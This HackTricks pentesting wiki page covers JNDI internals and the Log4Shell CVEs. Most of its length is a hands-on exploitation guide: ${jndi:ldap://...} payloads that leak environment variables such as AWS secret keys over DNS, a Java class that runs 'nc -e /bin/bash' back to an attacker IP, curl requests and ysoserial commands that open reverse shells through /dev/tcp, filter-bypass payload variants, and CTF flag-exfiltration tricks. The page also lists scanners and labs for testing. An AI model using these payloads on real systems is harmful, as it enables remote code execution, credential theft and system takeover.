# JNDI - Java Naming and Directory Interface & Log4Shell
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Basic Information JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data through a directory using a name service**. A name service associates values (bindings), so it can be obtained through its reference in the directory. JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services. The goal of JNDI is to obtain data from other systems very easily. You can even obtain java objects remotely, and this is where a problem arises. For example, SPIs exist for the **CORBA COS** (Common Object Service), the **Java RMI** (Remote Method Interface) Registry and **LDAP**. ![](<../../.gitbook/assets/image (627).png>) ### JNDI Naming Reference In order to retrieve Java Objects you could serialize them and save the binary representation. But there are some cases where this won’t work (maybe because the data is too large, or any other thing).\ In order to save more easily Java Objects, **Naming References are used**.\ There are 2 types of Naming References: * **Reference Addresses**: This indicates the address of the Object (_rmi://server/ref_), then the **object will be retrieved from that address**. * **Remote Factory**: In this case a **remote factory class** will be pointed in the JNDI reference, then, following the JNDI address the remote class will be taken from the remote factory and the **class will be downloaded and loaded**. This is dangerous because **attackers may make the system load arbitrary objects and execute arbitrary code**, therefore some protections exists: * **RMI**: `java.rmi.server.useCodeabseOnly = true` by default since **JDK 7u21**, otherwise it will allow to load custom java objects remotely. Moreover, even if the protection is disabled, a **Security Manager** is enforced to configure what can be loaded. * **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default since **JDK** **6u141, 7u131, 8u121**, and it won’t allow to execute arbitrary java objects downloaded. But if this is set to `true` it will and **no Security Manager will be enforced**. * **CORBA**: There is no property to be configured but the **Security Manager is always enforced**. Moreover, the **Naming Manager**, the one that is going to follow the JNDI links, doesn’t have any Security Manager or property to be configured, so it will always try to get the object. As you can see the **protections in general aren’t enough** because there is **no protection agains loading JNDI from random addresses** and the protections of RMI, LDAP and CORBA could be bypassed (depending on the configuration) to **load arbitrary java objects** or to **load java objects** that will abuse existent components in the application as **gadgets to execute arbitrary code**. URLs example to abuse JNDI: * _rmi://attacker-server/bar_ * _ldap://attacker-server/bar_ * _iiop://attacker-server/bar_ ### JNDI Example ![](<../../.gitbook/assets/image (655) (1) (1).png>) Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him. ### CORBA An **Interoperable Object Reference (IOR)** is a CORBA or RMI-IIOP reference that uniquely idenfies and object on a remote CORBA server. IORs can be in binary format or string hex representation of the binary.\ Among other information, it conteins the **Type ID** (a unique identifier for an interface) and the **Codebase** (remote location using to get the stub class).\ Note that **by default CORBA cannot be abused**.\ It requires: * A **Security Manager must be installed** * Connection to the **codebase controlled by the attacker must be allowed** by Security Manager. There are different ways to allow this: * Socket permission: `permissions java.net.SocketPermission "*:1098-1099", "connect";` * File permission allowing to read all files: `permission java.io.FilePermission "<>", "read";` * File permission to read the folder where the attacker can upload the exploits (classes or zip archive) You might find **policies of vendors allowing this by default**. ### RMI As indicated in the previous **JNDI Naming Reference Section, RMI by default won’t allow to download arbitrary Java Classes**. And moreover, even if it will, you will need to **bypass the Security Manager policies** (in the previous section we learned that this was possible with CORBA). ### LDAP First of all, wee need to distinguish between a Search and a Lookup.\ A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\ A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**. If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**. Therefore, there are several ways to attack these options.\ An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example. In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell). #### Deserialization exploit ![](<../../.gitbook/assets/image (654) (1) (1) (1).png>) The **exploit is serialized** and will be deserialized.\ In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath. #### JNDI Reference exploit It's easier to attack this LDAP using **JavaFactory references**: ![](<../../.gitbook/assets/image (660) (1) (1).png>) ## Log4Shell Vulnerability The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java. In [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) added a `jndi` Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a **":" no prefix will be added**.” With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged. Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated. ## Log4Shell CVEs * [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\ \ Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others.\ \ Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\ \ Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\\ * [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\ \ Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to \_localhost**\_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\ \ The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was:\ _Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\ \_\_\ \_\_"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\\ * [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\ \ While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the \_JMSAppender**\_\*\* class also become susceptible to the untrusted deserialization flaw\*\*.\ \ Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\\ * [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\ \ Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\ \ That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\ * **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). * [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): This new CVE affects the **version 2.17** of log4j. This vulnerability **requires the attacker to control the configuration file of log4j** as it’s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the **vulnerability and exploitation** [**read this info**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). ## Log4Shell Exploitation ### Discovery This vulnerability is very easy to discover because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like: * `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate)) * `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh)) * `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite) * `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn)) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com)) Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it. {% hint style="info" %} Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...} {% endhint %} #### **Local Discovery** Search for **local vulnerable versions** of the library with: ```bash find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" ``` ### **Verification** Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\ This can be very useful for 2 things: * To **verify** the vulnerability * To **exfiltrate information** abusing the vulnerability For example you could request something like:\ or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable. Other information you could try to **leak**: ``` ${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} ${env:AWS_PROFILE} ${env:AWS_SECRET_ACCESS_KEY} ${env:AWS_SESSION_TOKEN} ${env:AWS_SHARED_CREDENTIALS_FILE} ${env:AWS_WEB_IDENTITY_TOKEN_FILE} ${env:HOSTNAME} ${env:JAVA_VERSION} ${env:PATH} ${env:USER} ${hostName} ${java.vendor} ${java:os} ${java:version} ${log4j:configParentLocation} ${sys:PROJECT_HOME} ${sys:file.separator} ${sys:java.class.path} ${sys:java.class.path} ${sys:java.class.version} ${sys:java.compiler} ${sys:java.ext.dirs} ${sys:java.home} ${sys:java.io.tmpdir} ${sys:java.library.path} ${sys:java.specification.name} ${sys:java.specification.vendor} ${sys:java.specification.version} ${sys:java.vendor.url} ${sys:java.vendor} ${sys:java.version} ${sys:java.vm.name} ${sys:java.vm.specification.name} ${sys:java.vm.specification.vendor} ${sys:java.vm.specification.version} ${sys:java.vm.vendor} ${sys:java.vm.version} ${sys:line.separator} ${sys:os.arch} ${sys:os.name} ${sys:os.version} ${sys:path.separator} ${sys:user.dir} ${sys:user.home} ${sys:user.name} Any other env variable name that could store sensitive information ``` ### RCE Information {% hint style="info" %} Hosts running on **JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading** vector **BUT NOT the deserialisation vector**. This is because `com.sun.jndi.ldap.object.trustURLCodebase` is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.\ This means that to **exploit the mentioned versions** you will need to **abuse some trusted gadget** that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier). For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) {% endhint %} ### RCE - Marshalsec with custom payload _This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_ For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit" ``` We want the victim to load the code that will send us a reverse shell, so you can create a java file called Exploit.java with the following content: {% code title="" %} ```java public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } } ``` {% endcode %} Create the **class file** executing: `javac Exploit.java -source 8 -target 8` and then run a **HTTP server** in the same directory the class file was created: `python3 -m http.server`.\ The **LDAP server from marshalsec should be pointing this HTTP server**.\ Then, you can make the **vulnerable web server execute the exploit class** by sending a payload like: ```bash ${jndi:ldap://:1389/Exploit} ``` _Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit won’t work. In that case, you need to abuse a trusted class to execute arbitrary code._ ### RCE - **JNDIExploit** {% hint style="info" %} Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln. Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing. {% endhint %} For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_. Then, you can download the **JNDIExploit** jar file and execute it with: ```bash wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\ In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**. You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are: ```bash ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] # But there are a lot more ``` So, in our example, we already have that docker vulnerable app running. To attack it: ```bash # Create a file inside of th vulnerable host: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' # Get a reverse shell (only unix) curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' ``` When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**. **Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.** ### RCE - JNDI-Exploit-Kit In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\ You can generate the URLs to send to the victim running: ```bash # Get reverse shell in port 4444 (only unix) java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` _This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._ ### RCE - ysoserial & JNDI-Exploit-Kit This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_). Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI: ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial). ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` ![](<../../.gitbook/assets/image (642) (1) (1).png>) Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`** ### Bypasses ```java ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z} ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/} ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ``` ### Automatic Scanners * [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) * [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) * [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell) * [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner) * [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) * [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) * [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) * [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries ### Labs to test * [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track) * [**Try Hack Me Solar room**](https://tryhackme.com/room/solar) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) ## Post-Log4Shell Exploitation In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**. The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences: > From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly. > From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved. This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure. For example, in that CTF this was configured in the file log4j2.xml: ```xml ``` ### Env Lookups In this CTF the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\ As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios. ### Exfiltration in Exceptions In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown: ![](<../../.gitbook/assets/image (157).png>) ### Conversion Patterns Exceptions Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example: ![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting. ### Conversion Patterns Regexes However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours. * **Binary search via exception messages** The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\ \`\`Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* ## and ONLY if it's found ${error} will be resolved with will trigger an exception ``` * **Time based** As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\ For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF. In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response: > ``` > /%replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > ``` > > If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!** > > Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code) ## References * [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) * [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) * [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4) * [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar) * [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78) * [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.